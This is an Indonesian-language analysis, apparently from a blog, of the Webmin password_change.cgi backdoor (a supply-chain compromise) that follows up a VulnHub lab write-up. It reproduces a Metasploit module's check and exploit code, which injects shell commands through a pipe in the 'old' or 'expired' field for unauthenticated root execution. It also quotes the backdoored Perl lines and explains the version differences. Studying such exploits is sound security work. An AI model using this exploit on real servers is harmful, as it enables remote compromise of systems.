Berkaitan dengan write up saya pada mesin VulnHub Source: 1, saya akan mencoba melakukan analisa tentang CVE dan exploit yang ada. Sebelumnya, CVE ini muncul karena Supply Chain Attack (Baca: Supply Chain Attack: Pelajaran untuk Software Engineer) yang berdampak pada versi 1.890 dan 1.900 - 1.920. Release yang terdampak juga hanya yang dipublish di SourceForge, saya cek di GitHub repository isinya normal.
Sekarang saya coba untuk membahas setiap langkah pada exploit tersebut, file yang dibahas di sini adalah password_change.cgi
yang digunakan sebagai entry point.
def check
# check passwd change priv
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "password_change.cgi"),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1"
})
if res && res.code == 200 && res.body =~ /Failed/
res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'data' => "user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss"
})
if res && res.code == 200 && res.body =~ /password_change.cgi/
return CheckCode::Vulnerable
else
return CheckCode::Safe
end
else
return CheckCode::Safe
end
end
Pada versi 1.900 - 1.920, terdapat pengecekan apakah ada restriksi untuk penggantian password, yang confignya terdapat pada passwd_mode
di file /etc/webmin/minserv.conf
. Jika value pada config tersebut diset menjadi 2, exploit tidak akan bekerja pada versi ini.
&get_miniserv_config(\%miniserv);
$miniserv{'passwd_mode'} == 2 || die "Password changing is not enabled!";
Selain itu, yang perlu diperhatikan adalah header yang digunakan. Karena terdapat validasi header Referer
pada file web-lib-funcs.pl
, sehingga pada saat request perlu menggunakan header 'Referer' => "#{peer}"
dengan nilai host yang sama dengan host service, tidak perlu juga harus persis dari alamat #{peer}/session_login.cgi
. Jika tidak, akan ada error yang seperti ini:
<!DOCTYPE html>
<html data-host="192.168.75.128:10000" data-hostname="source" data-title-initial="Security Warning" data-debug="0" data-session="0" data-script-name="/password_c
hange.cgi" data-background-style="gainsboro" data-night-mode="0" data-high-contrast="0" data-navigation-collapsed="0" data-slider-fixed="0" data-sestatus="0" dat
a-shell="0" data-webmin="0" data-usermin="0" data-navigation="0" data-status="0" data-package-updates="0" data-csf="0" data-theme="blue" data-default-theme="blue
" data-theme-version="19.19" data-theme-mversion="11" data-level="0" data-user-home="/root" data-user-id="0" data-user="" data-dashboard="1" data-ltr="1" data-l
anguage="en" data-language-full="en" data-charset="UTF-8" data-notice="0" data-redirect="" data-initial-wizard="1" data-webprefix="" data-current-product="webmin
" data-module="" data-uri="/password_change.cgi" data-progress="1" data-product="webmin" data-access-level="0">
<head>
<noscript> <style> html[data-background-style="gainsboro"] { background-color: #d6d6d6; } html[data-background-style="nightRider"] { background-color: #1a1c20;
} html[data-background-style="nightRider"] div[data-noscript] { color: #979ba080; } html[data-slider-fixed='1'] { margin-right: 0 !important; } body > div[data-n
oscript] ~ * { display: none !important; } div[data-noscript] { visibility: hidden; animation: 2s noscript-fadein; animation-delay: 1s; text-align: center; anima
tion-fill-mode: forwards; } @keyframes noscript-fadein { 0% { opacity: 0; } 100% { visibility: visible; opacity: 1; } } </style> <div data-noscript> <div class="
fa fa-3x fa-exclamation-triangle margined-top-20 text-danger"></div> <h2>JavaScript is disabled</h2> <p>Please enable javascript and refresh the page</p> </div>
</noscript>
<meta charset="UTF-8">
<title>Security Warning</title>
<link rel="shortcut icon" href="/images/favicon-webmin.ico">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="/unauthenticated/css/bundle.min.css?1919999999999911" rel="stylesheet">
<link href="/unauthenticated/css/fonts-roboto.min.css?1919999999999911" rel="stylesheet">
<script src="/unauthenticated/js/bundle.min.js?1919999999999911"></script>
</head>
<body data-uri="/password_change.cgi">
<div class="container-fluid col-lg-10 col-lg-offset-1" data-dcontainer="1">
<div class="panel panel-default">
<div class="panel-heading">
<table class="header"><tr>
<td id="headln2l" class="invisible"></td>
<td id='headln2c'><span data-main_title>Security Warning</span></td>
<td id="headln2r"></td></tr></table>
</div>
<div class="panel-body">
<b>Warning!</b> Webmin has detected that the program <tt>https://192.168.75.128:10000/password_change.cgi</tt> was linked to from the URL <tt>https://google.om</
tt>, which appears to be outside the Webmin server. This may be an attempt to trick your server into executing a dangerous command.<p>
If this is a legitimate link, you can allow links from this URL as follows :<ul><li>Login to Webmin normally.<li>Go to the <b>Webmin Configuration</b> module.<li
>Click on the Trusted Referrers icon.<li>Enter the hostname 192.168.75.128 into the <b>Trusted websites</b> field, and click <b>Save</b>.</ul><p>
Alternately, you can configure Webmin to allow this link from the command line by :<ul><li>Login as <tt>root</tt>, and edit the <tt>/etc/webmin/config</tt> file.
<li>Add the line <tt>referers=192.168.75.128</tt> at the end, or if a <tt>referers</tt> line already exists add <tt>192.168.75.128</tt> to it.<li>Save the file.<
/ul><p>
##
# Exploiting phase
##
def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
command = payload.encoded
print_status("Attempting to execute the payload...")
handler
res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'data' => "user=root&pam=&expired=2&old=AkkuS%7c#{command}%20&new1=akkuss&new2=akkuss"
})
end
Di sini exploit memanfaatkan fungsi qx
pada Perl yang digunakan untuk mengeksekusi system command. Terdapat perbedaan antara versi 1.890 dan 1.900 - 1.920. Pada versi 1.890, fungsi qx
akan menjalankan command pada parameter expired
. Jadi dari request yang disediakan bisa diganti saja paramter old
dengan expired
seperti ini user=root&pam=&expired=AkkuS%7c#{command}%20&new1=akkuss&new2=akkuss
.
$in{'expired'} eq '' || die $text{'password_expired'},qx/$in{'expired'}/;
Pada versi 1.900 - 1.920 command akan dieksekusi dari parameter old
, sehingga seharusnya tidak perlu lagi ada parameter expired
pada request.
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
Sumber: